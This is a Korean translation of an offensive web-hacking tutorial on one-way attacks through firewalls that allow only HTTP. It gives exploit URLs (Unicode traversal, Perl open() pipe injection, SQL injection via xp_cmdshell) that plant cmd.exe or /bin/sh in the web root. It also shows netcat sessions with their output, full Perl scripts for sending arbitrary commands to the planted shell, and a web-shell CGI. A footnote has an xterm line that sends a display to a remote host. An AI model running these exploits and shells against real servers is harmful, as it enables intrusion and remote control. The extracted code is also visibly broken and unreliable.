One-way Web Hacking Saumil Shah saumil@net-square.com 8th December, 2003 "Necessity is the mother of invention" 편역 : poc@securityproof.net E-mail: progressfree@hotmail.com * 다소오래된글이지만웹해킹공부에많은도움이될것으로생각합니다.
내용 1.0 도입 1.1 일반적인웹어플리케이션시스템의구성요소들 1.2 웹어플리케이션시스템에대한 URL 맵핑 2.0 one-way web 해킹에대한순서도 3.0 엔트리포인터찾기 3.0.1 URL 파싱공격 3.0.2 안전하지않은입력파라미터공격 3.0.3 SQL injection 공격 3.1 명령해석기실행 3.1.1 CMD.EXE에명령 POST하기 3.1.2 /bin/sh에명령 POST하기 3.1.3 POST 절차자동화 4.0 웹기반의 command prompt 4.0.1 Perl - perl_shell.cgi 4.0.2 ASP - cmdasp.asp 4.0.3 PHP - sys.php 4.0.4 JSP - cmdexec.jsp 4.1 웹기반의command prompt 설치 4.1.1 create_cmdasp.bat 4.1.2 임의의바이너리파일다시만들기 5.0 파일 uploader 5.0.1 ASP - upload.asp 및 upload.inc 5.0.2 Perl - upload.cgi 5.0.3 PHP - upload.php 6.0 One-Way 권한상승 6.1 Windows/IIS 권한상승
6.1.1 Windows 공격툴업로드 6.1.2 idq.dll 권한상승 6.2 Linux/Apache 권한상승 6.2.1 Unix 공격툴업로드 6.2.2 ptrace1.c 권한상승 7.0 웹기반의 SQL Command Prompt 7.1 SQL command prompt 해부 - sqlquery.asp 7.2 예 - IIS 및 MS SQL 서버 7.3 sqlquery.asp 업로드 7.4 웹어플리케이션도용 7.5 sqlquery.asp를통한 SQL query 실행 7.6 저장된프로시저실행 8.0 결론 9.0 참고문헌
1.0 도입 One-way web hacking 은웹서버나어플리케이션서버를공격하여침입하기위해순수 HTTP 트래픽에만의존하는 것을말한다. 이테크닉은웹어플리케이션공격의경우방화벽이나 SSL 도무용지물이될수있음을보여주기위한 것이다. 이공격은단지합법적이고유효한 HTTP request 만이들어오는것이허용되고, 단지유효한 HTTP response 만이 방화벽외부로나가는것이허용된다는전제를가지고있다. 나의 one-way web hacking 에대한연구는 2000 년 4 월에시작되었으며, 크래킹을당한웹서버 ( 제한적인방화벽을 가지고있었음 ) 에임의의파일을업로드할필요가생겼다. 그때이후로많은다른테크닉이개발되었고, 이모든 테크닉을모아 one-way web hacking 방법론이만들어지게되었다. One-way web hacking 은 2001 년 Amsterdam, Las Vegas 2001 에서있었던 Blackhat Briefings 에서, 그리고 2002 년 Kuala Lumpur 에서열렸던 HACK 2002 에서발표되었다. 1.1 일반적인웹어플리케이션의구성요소 web 어플리케이션시스템에는 4 가지구성요소가있으며, 그것들은일반적으로웹브라우저를말하는 web client, front-end web server, application server, database server 이다. 다음도표는이구성요소들이어떻게서로함께잘 맞는지보여주고있다.
web application server 는스크립트, 오브젝트또는컴파일된바이너리의형태로되어있던모든어플리케이션 로직 (application logic) 을호스팅한다. Front-end web server 는 HTML 의형태및 HTML 을통해웹클라이언트로부터 입력받은것을받고, HTML 페이지의형태로그어플리케이션에의해생성된출력물을전달하는, 외부세계로의 어플리케이션인터페이스로작동한다. 내부적으로는그어플리케이션은처리 (transaction) 를수행하기위해 back-end database server 와상호연결된다. 방화벽은단단하게설정되어있으며, 단지 HTTP request 와외부로나가는 HTML 응답만허용한다. 1.2 웹어플리케이션시스템에대한 URL 맵핑 웹어플리케이션과상호작용하는동안브라우저와웹서버사이를오가는 URL 은전형적으로다음포맷을따른다. http:// server / path / application? parameters 다음도표는 URL 의다른부분들이웹어플리케이션시스템의여러영역으로어떻게맵핑 1 되는지보여준다. 이프로토콜 (http 또는 https) 은방화벽에의해출입이허용되어있다. 서버와경로부분은 front-end web server 에의해파싱된다. URL interpretation( 예를들어, Unicode, doubledecode) 에존재하는어떤취약점들은서버와그 URL 의경로를조작함으로써공격할수있다. 1 역자의홈페이지게시판의경우 : http://xxxxx.org/board/van/zboard.php?id=test
그어플리케이션은설정되고등록되어있는대로어플리케이션서버에의해실행된다. 이부분을조작하는것은 어플리케이션서버에존재하는취약점들 ( 예를들어, JSP servlet handler 를사용한임의의파일을컴파일하고실 행하는 ) 을공격할수있다. 그어플리케이션에제공된파라미터들이적절하게확인되지 (validate) 않으면그어플리케이션에만적용되는취약 점들 (Perl 에서 open() 호출에 pipe " " 문자를삽입하기 ) 을야기할수있다. 만약어떤파라미터가 SQL database query 의일부로사용된다면적절히확인되지않은파라미터들은 SQL injection 공격 ("xp_cmdshell" 와같은저장된프로시저들을사용하여임의의명령을실행 ) 으로이어질수있다. 자세한토론은 "Web Hacking: Attacks and Defense" [1] 의 5 장에서찾을수있다. 2.0 one-way web hack 의순서도 (flowchart) 공격자가취약한웹어플리케이션을발견하고앞에서언급된테크닉들을사용하여공략할수있는예를들어보자. 공격자는임의의명령실행권한을획득했지만제한적인방화벽때문에네트워크안으로더이상을들어갈수없는 상황이다. 이럴때공격을효과적인것으로만들기위해두가지가필수적이다. 1. interactive terminal access - 실행중인명령들이공격당한서버를공략하여그네트워크안으로더진입하기 위해필요. 2. file transfer access 포트스캐너나 rootkit 등과같은공격툴을전송하기위해필요. 단단한방화벽은위의목적들을달성하는것을어렵게만들수있다. 하지만, 불가능한것은아니다. 이제한적인 상황을해결하기위해약간의웹어플리케이션프로그래밍지식으로웹기반의명령프롬프트와파일 uploader 를만들 수있다. 더자세히다루기전에다음도표에나와있는것처럼먼저 one-way hack 의여러단계를살펴보자.
3.0 entry point 찾기 one-way hack 은우리가목표웹서버에원격명령실행권한을획득할수있을때시작된다. 우리는웹서버를 공격하는데사용되는일반적인테크닉들중에서어떤것을이용할수있다. 우리는앞에서기술된 URL 맵핑의다른 타입에기반을둔원격명령실행권한을획득하는다양한방법들중의몇가지예를제시한다. 웹서버와어플리케이션 취약점들에대한자세한토론은이글의범위밖의것이다. 우리의목적은목표웹서버의 document root 내에 shell interpreter(/bin/sh, cmd.exe, 등 ) 를이동시켜백도어를 만드는것이다. 이런방법으로우리는 URL 을통해쉘해석기를실행할수있다. 우리는다양한공격테크닉을이용해 백도어를어떻게만들것인가에대한방법을예증하는세가지예를제시한다. 아래의도표는엔트리포인터를찾는데사용되는테크닉들중의몇가지를보여주고있다.
3.0.1 Exploiting URL parsing Unicode / Double decode 공격은고전적인 URL parsing 취약점의예이다. 아래의 URL 은웹서버의 document root 내에 있는 scripts/ 디렉토리에명령해석기 cmd.exe 를복사한다. http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+ c:\winnt\system32\cmd.exe+c:\inetpub\scripts 3.0.2 Exploiting poorly validated input parameters 이예에서, 체크되지않은파라미터가안전하지않은방식으로 open() 호출을사용하여 URL 로부터 Perl CGI script news.cgi 로전달된다. http://www2.example.com/cgi-bin/news.cgi?story=101003.txt cp+/bin/sh+
/usr/local/apache/cgi-bin/sh.cgi shell (/bin/sh) 이 sh.cgi 로 cgi-bin 디렉토리에복사된다. 3.0.3 Exploiting SQL injection 다음은어떻게 SQL injection 이데이터베이스서버에저장된프로시저를불러내그저장된프로시저를통해명령을 실행할수있는지를보여준다. http://www3.example.com/product.asp?id=5%01exec+master..xp_cmdshell+ 'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' 3.1 command interpreter 불러오기 명령해석기또는쉘을 web document root 로옮김으로써 backdoor 를만드는목적은 HTTP 상으로원격명령을내릴 수있게하기때문이다. HTTP POST 방법은이목적으로위해가장적절하다. POST 를이용함으로써 input data 는표준 입력상으로 invoked resource 로전달되며, 웹서버는 HTTP 연결상으로표준출력을보냄으로써생성된 output 을 리턴한다. 우리는 POST 를이용해명령해석기로명령을어떻게보내는지그방법을예증할것이다. 이를위해두가지예를 들것이며, 하나는 IIS 나 Windows NT 에서는 CMD.EXE 를, Apache 와 Linux 상에서는 /bin/sh 의복사본인 sh.cgi 를사용하는 것이다. 3.1.1 CMD.EXE 에명령 POST 하기 아래는 CMD.EXE 와함께실행되고있는두가지명령을보여주고있으며, 그것은 http://www1.example.com/scripts/cmd.exe 상으로접근이가능하다. POST 리퀘스트는아래에파란색으로나타나있다. $ nc www1.example.com 80 POST /scripts/cmd.exe HTTP/1.0 Host: www1.example.com
Content-length: 17 ver dir c:\ exit HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Wed, 08 Dec 1999 06:13:19 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src
12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free C:\Inetpub\scripts>exit $ CMD.EXE 가명령을적절하게받아들이기위해, 웹서버가 CMD.EXE 의 ouput 을적절하게리턴하기위해서는주의가 필요하다. 위의예에서우리는 CMD.EXE 에대한입력스트림이적절하게종결되도록하기위해 exit 명령을 포함시켰다. exit 에의해취해진여분의문자를염두에두고 POST 리퀘스트의 Content-length 역시적절하게 계산되었다. 3.1.2 /bin/sh 에명령 POST 하기 아래의예는 /bin/sh 와함께실행되는세가지명령을보여주며, http://www2.example.com/cgi-bin/sh.cgi 에접근이 가능하다. $ nc www2.example.com 80 POST /cgi-bin/sh.cgi HTTP/1.0 Host: www2.example.com Content-type: text/html Content-length: 60
echo 'Content-type: text/html' echo uname id ls -la / exit HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:47:20 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002. drwxr-xr-x 19 root root 4096 Feb 2 2002.. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ /bin/sh 를 Apache 상으로구동하는것은약간다르다. Apache 는 CGI 프로그램으로부터제대로구성된 HTTP response header 를기대하고, 그래서 output 에 Content-type:test/html 라인을붙여야한다. 두개의 echo 명령이이 목적을위한것이다. 3.1.3 POST process 자동화 우리는명령을내리기위해 POST 리퀘스트를준비하고, 그것을웹서버에보내기위한역할을자동적으로수행할 Perl 스크립트 post_cmd.pl 와 post_sh.pl 를준비했다. post_cmd.pl #!/usr/bin/perl # # post_cmd.pl # By Saumil Shah (c) net-square, 2001 # # Able to send arbitrary commands to http://target/cgi-bin/cmd.exe # and have them executed on the server. This is possible only if # CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running # some.. ah.. exploit) # # Note: If %wwwroot%\cgi-bin is not available, use the /scripts/ # directory in which case, the URL becomes
# http://target/scripts/cmd.exe # # POST can send text to a back-end web program's standard input # This program is used to feed commands to CMD.EXE on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) # # a) Since we cannot send command line arguments to CMD.EXE (such # as CMD /C), we have to make sure that the last command we # send is an "exit", otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else { print "usage: post_cmd.pl url [proxy:port] < data\n";
print "By Saumil Shah (c) net-square 2001\n\n"; print "post_cmd.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/http:\/\///o; $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1; else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # capture proxy server $proxy_flag = 0; if(defined($argv[1])) { ($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]); $proxy_flag = 1; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with
# a blank like, any occurence of a ":" in the first line causes the POST # request to fail. This may be an IIS issue or an HTTP issue. @commands = ("\n"); $content_length = 0; while($line = <STDIN>) { @commands = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want # to use this as a generic POST client $line = "exit\n"; @commands = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, $port, $content_length, @commands);
## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header # last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit; sub httpconnect { my ($server, $port) = @_; # check for proxy settings if($proxy_flag) { $server = $proxy_ip; $port = $proxy_port; chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!";
select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, $port, $content_length, @commands) = @_; my $i; # check for proxy settings if($proxy_flag) { $file = "http://". $hostname. ":". $port. $file; S->autoflush(1); print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; post_sh.pl #!/usr/bin/perl # # post_sh.pl # By Saumil Shah (c) net-square, 2001 #
# Able to send arbitrary commands to http://target/cgi-bin/sh # and have them executed on the server. This is possible only if # sh is placed in cgi-bin. (perhaps after running some.. ah.. exploit) # # POST can send text to a back-end web program's standard input # This program is used to feed commands to sh on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) # # a) We have to make sure that the last command we send is an "exit" # otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else {
print "usage: post_sh.pl url < data\n"; print "By Saumil Shah (C) net-square, 2001\n\n"; print "post_sh.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/http:\/\///o; $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1; else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with # a blank like, any occurence of a ":" in the first line causes the POST # request to fail. Also, Apache requires that a proper HTTP header be # returned, otherwise it throws a Server Internal error. The commands # POSTed, will still run anyway, but we will not see any output from # standard output
@commands = ("\n", "\necho 'Content-type: text/html'\n", "echo\n"); $content_length = length($commands[1]) + length($commands[2]); while($line = <STDIN>) { @commands = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want # to use this as a generic POST client $line = "exit\n"; @commands = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, $content_length, @commands); ## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header
# last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit; sub httpconnect { my ($server, $port) = @_; chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!"; select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, $content_length, @commands) = @_; my $i; S->autoflush(1);
print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-type: text/html\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; post_cmd.pl 를구동시키기위한문장은다음과같다. usage: post_cmd.pl url [proxy:port] < data By Saumil Shah (c) net-square 2001 post_cmd.pl takes all the data to be POSTed to the URL as standard input. Either enter the data manually and hit ^D (unix) or ^Z (dos) to end; or redirect the data using files or pipes post_cmd.pl 은역시 HTTP proxy 상으로 POST 리퀘스트를터널링할수있도록쓰여졌다. post_sh.pl 역시비슷하다. 아래의예는우리자신의 POST 리퀘스트를형성시키는것대시 Perl 스크립트를사용해서도같은결과가나오는것을 보여준다. post_cmd.pl 의출력 $./post_cmd.pl http://www1.example.com/scripts/cmd.exe ver dir c:\ ^D HTTP/1.1 200 OK Server: Microsoft-IIS/4.0
Date: Wed, 08 Dec 1999 06:05:46 GMT Content-Type: application/octet-stream Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\Inetpub\scripts>ver Windows NT Version 4.0 C:\Inetpub\scripts>dir c:\ Volume in drive C has no label. Volume Serial Number is E43A-2A0A Directory of c:\ 10/04/00 05:28a <DIR> WINNT 10/04/00 05:31a <DIR> Program Files 10/04/00 05:37a <DIR> TEMP 10/04/00 07:01a <DIR> Inetpub 10/04/00 07:01a <DIR> certs 11/28/00 05:12p <DIR> software 12/06/00 03:46p <DIR> src 12/07/00 12:50p <DIR> weblogic 12/07/00 12:53p <DIR> weblogic_publish 12/07/99 01:11p <DIR> JavaWebServer2.0 12/07/99 06:49p 134,217,728 pagefile.sys 12/07/99 07:24a <DIR> urlscan 12/07/99 04:55a <DIR> Netscape 13 File(s) 134,217,728 bytes 120,782,848 bytes free
C:\Inetpub\scripts>exit $ post_sh.pl 의출력 $./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi uname id ls -la / ^D HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:43:54 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002. drwxr-xr-x 19 root root 4096 Feb 2 2002.. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ 이와같이우리는 HTTP POST 리퀘스트를사용하여목표웹서버에여러명령을내릴수있다. 이개념은 4.1 섹션에서 다룬것처럼웹서버에임의의파일들을만들기위해사용될것이다. 4.0 웹기반의 command prompt 원격으로명령을실행할수있는권한을획득한이후우리는목표웹서버에명령을상호내릴수있을필요가있다. 이것을하는일반적인방법들은쉘을스포닝하고그것을목표웹서버상의 TCP 포트에바인딩시키거나또는 TCP listener 에쉘연결을역으로실행시키거나, 또는원격 X display 에 2 xterm 을실행시키는것이다. 하지만, 단지 HTTP 리퀘스트만을 incoming traffic 으로허용하고, HTTP response 를 outbound traffic 으로허용하는방화벽이설정되어 있다면그런테크닉을제대로작동하지않을것이다. 그래서이제한사항을극복하기위해 웹기반의 command prompt 의예를제시한다. 웹기반의 command prompt 는 semi-interactive shell terminal 의기능성을 HTML 형식을통해제공한다. 이형식은 <INPUT> 필더처럼명령들을받아들이고그결과를사전에지정된양식의텍스트로출력한다. 웹기반의 command prompt 가 semi-interactive 한지의이유는현재의작업디렉토리와시스템환경등과같은터미널의상태를저장하지 않기때문이다. 이런것은 session 기반의 HTML 양식을통해구현될수있으나이것은이글의논의밖의것이다. 2 Inside-Out Attacks - Patrick Heim, Saumil Shah, 1999, xterm display 192.168.1.1:0.0 &
웹기반의 command prompt 와같은것에의해실행된명령들은웹서버의프로세스의권한을가질것이다. 전형적으로, Apache 가실행되고있는 Unix 시스템에대해 uid 는 nobody 이며, 반면 IIS 가실행되고있는 Windows 시스템의경우권한은 "IUSR_machinename" 또는 "IWAM_machinename" 이다. 아래에주어진것은웹기반의 command prompt 의 4 가지예이다. 4.0.1 Perl - perl_shell.cgi Perl 및 cgi-lib.pl 을사용하는다음스크립트는 semi-interactive web based command prompt 를제공한다. #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n"; print "<INPUT NAME=cmd TYPE=TEXT>\n"; print "<INPUT TYPE=SUBMIT VALUE=Run>\n"; print "</FORM>\n"; &ReadParse(*in); if($in{'cmd' ne "") { print "<PRE>\n$in{'cmd'\n\n"; print `/bin/bash -c "$in{'cmd'"`; print "</PRE>\n"; cgi-lib.pl $cgi_lib'writefiles = 1;
$cgi_lib'filepre = "cgi-lib"; $cgi_lib'bufsize = 8192; $cgi_lib'maxbound = 100; $cgi_lib'headerout = 0; sub ReadParse { local ($perlwarn); $perlwarn = $^W; $^W = 0; local (*in) = shift if @_; local (*incfn, *inct, *insfn) = @_; local ($len, $type, $meth, $errflag, $cmdflag, $got, $name); binmode(stdin); binmode(stdout); binmode(stderr); $type = $ENV{'CONTENT_TYPE'; $len = $ENV{'CONTENT_LENGTH'; $meth = $ENV{'REQUEST_METHOD'; if (!defined $meth $meth eq '' $meth eq 'GET' $meth eq 'HEAD' $type eq 'application/x-www-form-urlencoded') { local ($key, $val, $i); if (!defined $meth $meth eq '') { $in = $ENV{'QUERY_STRING'; $cmdflag = 1; elsif($meth eq 'GET' $meth eq 'HEAD') { $in = $ENV{'QUERY_STRING'; elsif ($meth eq 'POST') { if (($got = read(stdin, $in, $len)!= $len))
{$errflag="short Read: wanted $len, got $got\n";; else { &CgiDie("cgi-lib.pl: Unknown request method: $meth\n"); @in = split(/[&;]/,$in); push(@in, @ARGV) if $cmdflag; foreach $i (0.. $#in) { $in[$i] =~ s/\+/ /g; ($key, $val) = split(/=/,$in[$i],2); $key =~ s/%([a-fa-f0-9]{2)/pack("c",hex($1))/ge; $val =~ s/%([a-fa-f0-9]{2)/pack("c",hex($1))/ge; $in{$key.= "\0" if (defined($in{$key)); $in{$key.= $val; elsif ($ENV{'CONTENT_TYPE' =~ m#^multipart/form-data#) { $errflag =!(eval <<'END_MULTIPART'); local ($buf, $boundary, $head, @heads, $cd, $ct, $fname, $ctype, $blen); local ($bpos, $lpos, $left, $amt, $fn, $ser); local ($bufsize, $maxbound, $writefiles) = ($cgi_lib'bufsize, $cgi_lib'maxbound, $cgi_lib'writefiles); $buf = ''; ($boundary) = $type =~ /boundary="([^"]+)"/; #"; ($boundary) = $type =~ /boundary=(\s+)/ unless $boundary; &CgiDie ("Boundary not provided: probably a bug in your server") unless $boundary; $boundary = "--". $boundary; $blen = length ($boundary); if ($ENV{'REQUEST_METHOD' ne 'POST') { &CgiDie("Invalid request method for multipart/form-data: $meth\n");
if ($writefiles) { local($me); stat ($writefiles); $writefiles = "/tmp" unless -d _ && -w _; $writefiles.= "/$cgi_lib'filepre"; $left = $len; PART: while (1) { die $@ if $errflag; $amt = ($left > $bufsize+$maxbound-length($buf)? $bufsize+$maxbound-length($buf): $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; $in{$name.= "\0" if defined $in{$name; $in{$name.= $fn if $fn; $name=~/([-\w]+)/; if (defined $1) { $insfn{$1.= "\0" if defined $insfn{$1; $insfn{$1.= $fn if $fn; BODY: while (($bpos = index($buf, $boundary)) == -1) { if ($left == 0 && $buf eq '') { foreach $value (values %insfn) { unlink(split("\0",$value)); &CgiDie("cgi-lib.pl: reached end of input while seeking boundary ". "of multipart. Format of CGI input is wrong.\n");
die $@ if $errflag; if ($name) { if ($fn) { print FILE substr($buf, 0, $bufsize); else { $in{$name.= substr($buf, 0, $bufsize); $buf = substr($buf, $bufsize); $amt = ($left > $bufsize? $bufsize : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; if (defined $name) { if ($fn) { print FILE substr($buf, 0, $bpos-2); else { $in {$name.= substr($buf, 0, $bpos-2); close (FILE); last PART if substr($buf, $bpos + $blen, 2) eq "--"; substr($buf, 0, $bpos+$blen+2) = ''; $amt = ($left > $bufsize+$maxbound-length($buf)? $bufsize+$maxbound-length($buf) : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; undef $head; undef $fn; HEAD: while (($lpos = index($buf, "\r\n\r\n")) == -1) { if ($left == 0 && $buf eq '') { foreach $value (values %insfn) { unlink(split("\0",$value));
&CgiDie("cgi-lib: reached end of input while seeking end of ". "headers. Format of CGI input is wrong.\n$buf"); die $@ if $errflag; $head.= substr($buf, 0, $bufsize); $buf = substr($buf, $bufsize); $amt = ($left > $bufsize? $bufsize : $left); $errflag = (($got = read(stdin, $buf, $amt, length($buf)))!= $amt); die "Short Read: wanted $amt, got $got\n" if $errflag; $left -= $amt; $head.= substr($buf, 0, $lpos+2); push (@in, $head); @heads = split("\r\n", $head); ($cd) = grep (/^\s*content-disposition:/i, @heads); ($ct) = grep (/^\s*content-type:/i, @heads); ($name) = $cd =~ /\bname="([^"]+)"/i; #"; ($name) = $cd =~ /\bname=([^\s:;]+)/i unless defined $name; ($fname) = $cd =~ /\bfilename="([^"]*)"/i; #"; ($fname) = $cd =~ /\bfilename=([^\s:;]+)/i unless defined $fname; $incfn{$name.= (defined $in{$name? "\0" : ""). (defined $fname? $fname : ""); ($ctype) = $ct =~ /^\s*content-type:\s*"([^"]+)"/i; #"; ($ctype) = $ct =~ /^\s*content-type:\s*([^\s:;]+)/i unless defined $ctype; $inct{$name.= (defined $in{$name? "\0" : ""). $ctype; if ($writefiles && defined $fname) { $fn = $fname; $fn =~ tr/\"//d; $fn =~ tr/\\/\//;
@dummy = split(/\//, $fn); $fn = $dummy[$#dummy]; open (FILE, ">$fn") &CgiDie("Couldn't open $fn\n"); binmode (FILE); substr($buf, 0, $lpos+4) = ''; undef $fname; undef $ctype; 1; END_MULTIPART if ($errflag) { local ($errmsg, $value); $errmsg = $@ $errflag; foreach $value (values %insfn) { unlink(split("\0",$value)); &CgiDie($errmsg); else { else { &CgiDie("cgi-lib.pl: Unknown Content-type: $ENV{'CONTENT_TYPE'\n"); $insfn = $insfn; $incfn = $incfn; $inct = $inct; $^W = $perlwarn; return ($errflag? undef : scalar(@in)); sub PrintHeader {
return "Content-type: text/html\n\n"; sub HtmlTop { local ($title) = @_; return <<END_OF_TEXT; <html> <head> <title>$title</title> </head> <body> <h1>$title</h1> END_OF_TEXT sub HtmlBot { return "</body>\n</html>\n"; sub SplitParam { local ($param) = @_; local (@params) = split ("\0", $param); return (wantarray? @params : $params[0]); sub MethGet { return (defined $ENV{'REQUEST_METHOD' && $ENV{'REQUEST_METHOD' eq "GET"); sub MethPost { return (defined $ENV{'REQUEST_METHOD' && $ENV{'REQUEST_METHOD' eq "POST");
